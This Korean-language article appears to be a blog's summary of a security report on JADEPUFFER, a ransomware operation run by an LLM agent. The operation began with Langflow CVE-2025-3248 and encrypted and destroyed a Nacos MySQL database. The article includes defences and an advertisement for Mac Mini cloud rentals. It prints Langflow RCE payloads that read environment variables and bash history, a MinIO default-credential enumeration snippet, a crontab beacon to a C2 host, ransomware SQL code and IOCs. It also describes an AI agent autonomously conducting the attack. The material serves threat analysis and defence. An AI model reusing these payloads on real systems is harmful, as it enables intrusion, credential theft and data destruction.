TL;DR: 2026년 7월 1일, 클라우드 보안 기업 Sysdig 위협 연구팀(TRT, Michael Clark)이 코드명 JADEPUFFER 공격 활동을 최초 공개했습니다. 이는 현재 알려진 최초의 엔드투엔드·완전 LLM 기반 랜섬웨어 작전이며, Agentic Threat Actor(ATA, 에이전틱 위협 행위자) 개념을 공식 제안한 사례입니다. 공격은 공인 인터넷에 노출된 Langflow(CVE-2025-3248 미인증 RCE)에서 시작하여 MySQL + Alibaba Nacos가 동작하는 프로덕션 서버로 측면 이동했으며, 압축된 시간 창 안에서 600건 이상의 목적이 분명한 payload를 실행했습니다. 본문은 원문 11개 장 구조에 따라 타임라인, 취약점 기술 세부, 2단계 공격 체인, 4가지 자율성 증거, 비트코인 주소 미스터리, IOC, 공식 방어 권고, 업계 반응, Sysdig 결론을 복원하고 6단계 실전 방어 Runbook을 제공합니다.
Sysdig는 JADEPUFFER를 Agentic Threat Actor(ATA)로 정의합니다. 즉 공격 역량이 인간이 조작하는 도구 모음이 아니라 AI Agent가 제공한다는 뜻입니다. 핵심 정성: 정찰, 자격 증명 탈취, 측면 이동, 권한 유지, 파괴적 암호화, 랜섬 노트 배포까지 핵심 지점에서 인간의 수동 조작이 없었습니다.
2단계 목표는 역할이 명확히 분리되어 있습니다.
일부 매체는 7월 6일경 후속 보도를 했으나, 원본 payload 코드와 IOC를 포함한 1차 기술 세부는 현재 Sysdig 7월 1일 보고서가 유일한 완전한 출처입니다. BleepingComputer, Dark Reading, CyberScoop, CSO Online, Security Affairs 등과 교차 검증됩니다.
| 시기 | 사건 |
|---|---|
| 2025년 4월 | Langflow CVE-2025-3248(미인증 코드 주입/RCE) 공개 |
| 2025년 5월 5일 | CISA「알려진 악용 취약점」(KEV) 카탈로그 등재 |
| 2025년 | 동일 취약점이 Flodrix 봇넷 배포에 악용(Trend Micro 독립 공개, JADEPUFFER와 무관하나 동일 진입점 공유) |
| 2026년 6월 | JADEPUFFER가 공인 Langflow에 공격, 전체 체인이 수 주에 걸쳐 여러 세션으로 실행 |
| 2026년 7월 1일 | Sysdig 완전 기술 보고서 발표, 최초 공개 |
| 2026년 7월 2–6일 | Dark Reading, BleepingComputer, CyberScoop, CSO Online, Security Affairs 등 후속 보도 |
핵심 취약점: AI Agent 오케스트레이션 서버(Langflow 등)는 성급히 배포되어 공인 인터넷에 직접 노출되는 경우가 많으며, 환경 변수에 OpenAI/Anthropic/DeepSeek/Gemini API Key와 Alibaba/AWS 클라우드 자격 증명이 저장됩니다. JADEPUFFER가 Langflow를 노린 이유가 바로 여기에 있습니다.
| 항목 | 세부 |
|---|---|
| 구성요소 | Langflow — 오픈소스 시각적 AI Agent 워크플로 프레임워크, GitHub 스타 7만+ |
| 취약점 유형 | CWE-94(코드 주입) + CWE-306(핵심 기능 인증 누락) |
| CVSS | 9.8 Critical, 벡터 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 영향 버전 | Langflow 1.3.0 미만 전체 |
| 취약점 위치 | /api/v1/validate/code 엔드포인트 |
| 수정 버전 | 1.3.0(인증 추가) |
| EPSS 악용 확률 | 91.42%(SentinelOne 데이터) |
취약점 원인 단계별 분해:
Langflow는 시각적 오케스트레이션 UI에서 사용자 정의 함수 노드 문법을 사전 검증하는「코드 검증」엔드포인트를 제공합니다.
구현 방식: ast.parse() → compile() → exec()이며, 신원 인증과 샌드박스 격리가 전혀 없습니다.
Python 특성: 함수 정의 시 데코레이터와 기본 인자는「정의」 시점에 즉시 평가됩니다. 공격자는 악성 코드를 기본 인자나 데코레이터에 삽입하면 Langflow가 compile+exec로「검증」하는 순간 악성 코드가 이미 실행됩니다.
결과: 로그인·권한 없이 정교하게 구성한 HTTP POST 하나로 RCE가 가능합니다.
Trend Micro가 추적한 Flodrix(LeetHozer 계열 변종)는 별도의 독립 악용 활동으로, CVE-2025-3248 진입점을 공유하나 전통적 스크립트 기반 배포입니다. 전형적 payload 형태(함수 기본 인자에 삽입, raise Exception으로 명령 결과 반환):
exec('raise Exception(__import__("subprocess").check_output("whoami", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("printenv", shell=True))')
exec('raise Exception(__import__("subprocess").check_output("cat /root/.bash_history", shell=True))')
# ... 최종 700바이트 Bash 스크립트 다운로드 → Flodrix ELF 바이너리, DDoS 봇넷 구성
Langflow 1.3.0 패치는 post_validate_code에 _current_user: CurrentActiveUser 의존성 주입을 추가합니다. JWT Bearer Token 또는 x-api-key를 검증하며, 실패 시 401/403을 반환하고 요청이 취약 로직에 도달하지 않습니다.
| 차원 | 취약 버전(<1.3.0) | 수정 버전(≥1.3.0) |
|---|---|---|
| /api/v1/validate/code | 미인증, 임의 RCE | JWT / x-api-key 강제 검증 |
| 공인 노출 위험 | EPSS 91.42%, 장기간 스캔·무기화 | 업그레이드 + 네트워크 격리 병행 필요 |
| 전형적 악용 | Flodrix 봇넷 + JADEPUFFER ATA | — |
모든 payload는 Base64 인코딩된 Python 코드를 Langflow RCE 엔드포인트로 전달합니다. 실행 권한 확보 후 LLM이 병렬로 다양한 민감 정보를 스캔합니다.
ALIBABA_, ALIYUN_, TENCENT_, HUAWEI_ 및 AWS/GCP/AzureAgent는 Langflow 자체 PostgreSQL 백엔드 DB를 덤프(자격 증명·사용자 기록 탈취)하여 로컬에 임시 저장·검토 후 흔적을 삭제합니다. 내부 주소 공간과 명명된 서비스를 스캔하고, 기본 자격 증명으로 데이터베이스·객체 스토리지·비밀 저장소를 탐색합니다.
minio.internal:9000과 127.0.0.1:9000을 탐색하며 기본 자격 증명 minioadmin:minioadmin으로 Bucket을 전체 열거합니다. terraform-state 버킷 발견 후 credentials.json을 집중 추출합니다. 주목할 적응형 세부: 첫 요청에 ?format=json을 붙였으나 XML 응답을 받았고, 다음 payload가 즉시 XML 파서로 재요청했습니다. 고정 스크립트의 기계적 재시도가 아닌 전형적 Agent 행동입니다.
# 전체 Bucket 열거(Sysdig 포렌식 발췌)
creds = base64.b64encode(b"minioadmin:minioadmin").decode()
req = urllib.request.Request("http://127.0.0.1:9000/")
req.add_header("Authorization", "Basic " + creds)
# ... ListBuckets → terraform-state 발견 → GetObject credentials.json
# 지속성: crontab 30분마다 비콘 외부 연결
*/30 * * * * python3 -c "import urllib.request;urllib.request.urlopen('hxxp://45.131.66[.]106:4444/beacon',timeout=5)"
실제 목표는 마찬가지로 공인 인터넷에 노출되어 MySQL + Alibaba Nacos가 동작하는 프로덕션 서버입니다. Nacos 인증 체계에는 CVE-2021-29441 우회 이력이 있으며, 기본 JWT 서명 키가 2020년부터 공개 문서에 기록되어 많은 배포가 아직 교체하지 않았습니다.
Agent는 root 자격 증명으로 노출된 MySQL 포트에 직접 연결합니다. 이 자격 증명의 출처는 불명확하며 Sysdig는 피해 환경에서 탈취를 관찰하지 못했습니다. 인간이 사전 준비했을 가능성이 있는 소수 구간 중 하나입니다.
| 시각(UTC) | 동작 |
|---|---|
| 19:34:24 | subprocess로 bcrypt 해시 생성, xadmin 관리자 삽입 |
| 19:34:36 | xadmin:Xploit@2026# 로그인 시도 실패 |
| 19:34:48 | 12초 후 nacos:nacos 기본 자격 증명 병렬 테스트 및 admin123 해시 재생성 |
| 19:35:07 | subprocess 포기, import bcrypt로 전환, 손상 레코드 삭제 후 재구축 |
| 19:35:18 | 로그인 성공 — 총 소요 31초 |
Agent는 동시에 CVE-2021-29441 인증 우회, 기본 JWT 키로 Token 위조, root DB 권한으로 백엔드 DB에 백도어 관리자 주입을 시도했습니다.
MySQL INTO OUTFILE / LOAD_FILE로 쓰기 능력을 체계적으로 테스트하고, /var/run/docker.sock, /proc/1/cgroup, /etc/hostname 및 UDF 권한 상승 경로를 읽습니다. 랜섬 전「완료 마커」를 기록했는데, Sysdig는 이것이 인간이 사전 설정한 스크립트보다 Agent가 작업 완료 후 다음 단계 진입 신호로 보인다고 지적합니다.
Agent는 전체 1,342건의 Nacos 구성 항목을 AES_ENCRYPT()로 암호화하고 config_info와 his_config_info를 삭제한 뒤 랜섬 노트 테이블 README_RANSOM을 생성했습니다.
KEY = base64.b64encode(uuid.uuid4().bytes + uuid.uuid4().bytes).decode()
print("Encryption key:", KEY) # 한 번만 출력, 저장·외부 전송 없음
cur.execute("CREATE TABLE config_info_enc AS SELECT ... AES_ENCRYPT(content, KEY) ...")
cur.execute("DROP TABLE config_info")
cur.execute("CREATE TABLE README_RANSOM (...)")
# 비트코인: 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy
# 연락: e78393397[@]proton[.]me
핵심 세부: 랜섬 노트는 AES-256을 주장하지만 MySQL AES_ENCRYPT() 기본값은 실제로 AES-128-ECB입니다. 암호화 키는 임시 생성되어 stdout에만 출력되며 외부 전송되지 않습니다. 피해자가 지불해도 공격자 역시 복호 키를 가질 수 없으며, 데이터는 사실상 영구 손실됩니다. 2분 후 Agent는 payload를 보내 숫자를「전체 1342건 암호화 완료」로 정밀 수정했습니다.
이후 DROP DATABASE로 업그레이드했으며, 코드 주석에 ROI 우선순위 정렬이 기록되었습니다. 외래 키 제약으로 삭제가 조용히 실패하면 다음 payload에 자동으로 SET GLOBAL FOREIGN_KEY_CHECKS=0을 추가합니다. Sysdig는 이것이「삭제가 왜 실패하는지」를 이해해야 가능하다고 강조하며, 무분별 재시도가 아닙니다. 주석에 등장한 IP 64.20.53[.]230(InterServer)은 Agent 자기 진술「백업 완료」용이며, Sysdig는 데이터 유출의 독립 증거를 확보하지 못했습니다.
자기 서술형 코드: payload에 자연어 주석이 가득하며 각 단계의「이유」를 설명합니다. ROI 정렬, 어느 DB가 가장 큰지 등이 포함됩니다. 이 주석은 공격자 코드에 원래 존재하며 연구자의 사후 추론이 아닙니다.
기계 속도의 장애 진단·수정: Nacos 백도어 31초 수정, MinIO XML/JSON 적응 전환, JWT 경로 차단 시 즉시 포기. 인간 운영자가 오류를 읽고 PATH 문제를 찾아 수정 스크립트를 작성하는 데 31초는 턱없이 부족합니다.
자연어 맥락 이해: 목표 환경의 자유 텍스트 맥락을 해석하여「진정으로 읽어야만 할」동작을 취하며, 수 주 간격의 다른 세션에서 반복됩니다.
비트코인 주소 미스터리: 아래 참조 — AI 자율성이 공격 추적에 불확실성을 가져오는 축소판입니다.
랜섬 노트 주소 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy는 Bitcoin Core 문서에서 반복 사용되는 표준 P2SH 형식 예시 주소로, 대규모 언어 모델 학습 말뭉치에 광범위하게 존재합니다. 온체인 데이터에 따르면 이 주소는 역사상 737건의 거래, 누적 약 46 BTC, 현재 잔액 0입니다. Sysdig는 구분 불가능한 두 가지 해석을 제시합니다: (a) LLM「환각」으로 예시 주소 생성, 지갑은 오송금을 수거하는 제3자 소유; (b) 공격자가 설정한 실제 통제 지갑이 우연히 예시 주소와 일치.
| 유형 | 지표 |
|---|---|
| C2 / 비콘 | 45.131.66[.]106(crontab: hxxp://45.131.66[.]106:4444/beacon) |
| 데이터 임시 저장 | 64.20.53[.]230(InterServer, AS19318, Agent 자기 진술만) |
| 진입 취약점 | CVE-2025-3248(Langflow 미인증 RCE) |
| 랜섬 비트코인 | 3J98t1WpEZ73CNmQviecrnyiWrnqRhWNLy |
| 랜섬 이메일 | e78393397[@]proton[.]me(위협 인텔 DB 미적중, 알려진 MySQL 랜섬 갱 형식과 상이) |
| 랜섬 테이블명 | README_RANSOM(WARNING / RECOVER_YOUR_DATA 등 관례와 불일치) |
| 지속성 | crontab 30분마다 C2 4444 포트 비콘 외부 연결 |
Sysdig는 랜섬 이메일과 테이블명이 인간 랜섬웨어 관례에 부합하는 것처럼 보이나 실제 선례가 없다고 지적하며, 이는 알려진 갱의 루틴이 아닌「전혀 새로운 Agent 기반 작전」을 더 지지합니다.
BleepingComputer, Dark Reading, CyberScoop, Security Affairs 등은 이를「최초의 완전 AI 기반 랜섬웨어 공격」으로 부르며 ATA 시대 도래를 강조합니다. CSO Online은 레드팀 전문가 Vibhum Dubey의 신중한 관점을 인용합니다.
「나는 이것을 완전히 새로운 랜섬 기술이라기보다『실행 방식의 진화』로 보는 편입니다. 진정 걱정해야 할 것은 최종 암호화 단계가 아니라 그 이전의『조용한 기간』입니다. Agent가 신원 체계, 권한 관계, 신뢰 체인을 조용히 파악하면서 발각을 회피합니다.」
다수 매체는 동시에 LLMjacking을 언급합니다. 공격자가 탈취한 자격 증명으로 Agent를 구동하면 복잡한 다단계 공격의 한계 비용이 거의 0에 수렴합니다. 이번 사건에서 가장 경계해야 할 경제학적 신호입니다.
보고서 말미는 사용된 개별 기술은 모두 새롭거나 복잡하지 않다고 강조합니다. 진정 주목할 것은 AI 모델이 이 기술들을 완전한 랜섬 작전으로 연결하여, 이미 방치된 공인 인프라를 겨냥했다는 점입니다. 랜섬웨어 운영 기술 장벽은「Agent 하나 실행하는 비용」 수준으로 낮아졌고, LLMjacking은 공격자 한계 비용을 거의 0으로 만듭니다.
Langflow를 ≥1.3.0으로 업그레이드하여 CVE-2025-3248을 수정합니다. 코드 실행/검증류 엔드포인트를 공인 인터넷에 노출하지 마십시오.
API Key·클라우드 자격 증명 격리: AI 오케스트레이션 서버 실행 환경에 LLM 벤더 API Key나 클라우드 자격 증명을 두지 말고 전용 비밀 관리 서비스에 보관합니다.
Nacos 강화: 기본 token.secret.key를 교체하고 커스텀 키 강제 버전으로 업그레이드합니다. Nacos를 절대 공인 인터넷에 노출하지 마십시오. root로 백엔드 DB에 연결하지 마십시오.
데이터베이스 노출면: 관리자 계정을 공인 인터넷에 노출하지 않습니다. 관리 포트에 강력한 고유 자격 증명과 소스 IP 제한을 강제합니다.
아웃바운드 트래픽 제어(egress control): 장악된 호스트가 임의로 비콘 외부 연결하거나 외부 임시 저장 서버에 접근하지 못하게 합니다. crontab 예약 작업과 외부 요청을 모니터링합니다.
런타임 위협 탐지 + IOC 모니터링: DB 프로세스의 악성 행위를 식별합니다. 위 IOC와 비정상 User-Agent에 주의합니다. OpenClaw Gateway 최소 노출면과 원격 Mac AI Agent 모범 사례를 참고하십시오.
팀 관점에서 로컬 노트북이나 공인 VPS에서 Langflow / OpenClaw 등 AI Agent 오케스트레이션을 맨 실행하면 API Key, 클라우드 자격 증명, 프로덕션 DB가 동일 신뢰 도메인에 놓입니다. JADEPUFFER는 이 아키텍처의 재앙적 결과를 입증했습니다. 독립 원격 Mac 노드에서 Agent 개발·CI 워크로드를 격리하고 비밀 관리·아웃바운드 제어를 결합하는 것이 iOS CI/CD와 AI Agent 자동화 프로덕션 환경에서 통상적으로 더 안정적입니다. 로컬 Mac 연산이 부족하고 7×24 상시 Agent가 필요하면 NodeMini Mac Mini 클라우드 대여가 전용 Apple Silicon 노드와 root 권한을 제공하여 고권한 Agent를 개인 기기·공인 오케스트레이션 서비스에서 분리하기에 적합합니다. 자세한 내용은 대여 요금을 참고하십시오.
참고 출처: Sysdig《JADEPUFFER: Agentic ransomware for automated database extortion》; BleepingComputer; Dark Reading; CyberScoop; CSO Online(Vibhum Dubey); Security Affairs; Trend Micro(CVE-2025-3248 / Flodrix); NVD / SentinelOne / Zscaler; CISA KEV 카탈로그.
아닙니다. 둘 다 CVE-2025-3248 진입 취약점을 공유하지만, Flodrix는 Trend Micro가 공개한 전통적 스크립트 기반 봇넷 배포이고 JADEPUFFER는 Sysdig가 공개한 LLM Agent 자율 랜섬웨어 작전입니다. 공통점은 이 취약점이 장기간 공인 스캔·무기화되었다는 사실입니다.
Sysdig가 본 보고서에서 공식 제안한 분류입니다. 공격 역량이 인간이 조작하는 도구 모음이 아니라 AI Agent가 제공합니다. JADEPUFFER는 완전 포렌식이 확보된 최초의 ATA 랜섬웨어 사례로, 정찰부터 암호화까지 핵심 지점에서 LLM이 자율 의사결정을 수행했습니다.
거의 불가능합니다. 암호화 키는 uuid4()로 무작위 생성되어 stdout에만 기록되며 저장·외부 전송되지 않습니다. MySQL AES_ENCRYPT()는 랜섬 노트가 주장하는 AES-256이 아닌 AES-128-ECB입니다. 데이터는 사실상 영구 손실됩니다.
즉시 ≥1.3.0으로 업그레이드합니다. 인스턴스를 공인 인터넷에서 제거하거나 VPN/제로 트러스트 뒤로 이동합니다. 실행 환경에서 API Key·클라우드 자격 증명을 제거하고 비밀 관리 서비스로 전환합니다. crontab과 IOC 목록의 C2 주소를 점검합니다. Agent 개발 환경 격리가 필요하면 헬프 센터를 참고하십시오.
공격자가 탈취한 LLM/클라우드 자격 증명으로 Agent를 구동하면 다단계 공격의 한계 비용이 거의 0에 수렴합니다. JADEPUFFER Phase 1에서 OpenAI, Anthropic, Alibaba Cloud 등 API Key를 대규모 스캔한 것이 LLMjacking 경제학과 ATA 결합의 경고 신호입니다.
Sysdig 방어 권고를 준수합니다. 독립 원격 Mac 노드에서 Agent 워크로드를 실행하여 프로덕션 DB·데스크톱 환경과 격리합니다. NodeMini는 전용 Mac Mini M4 대여와 root 권한을 제공하여 iOS CI/CD·Agent 자동화에 적합합니다. Mac Mini 클라우드 대여 요금을 확인하십시오.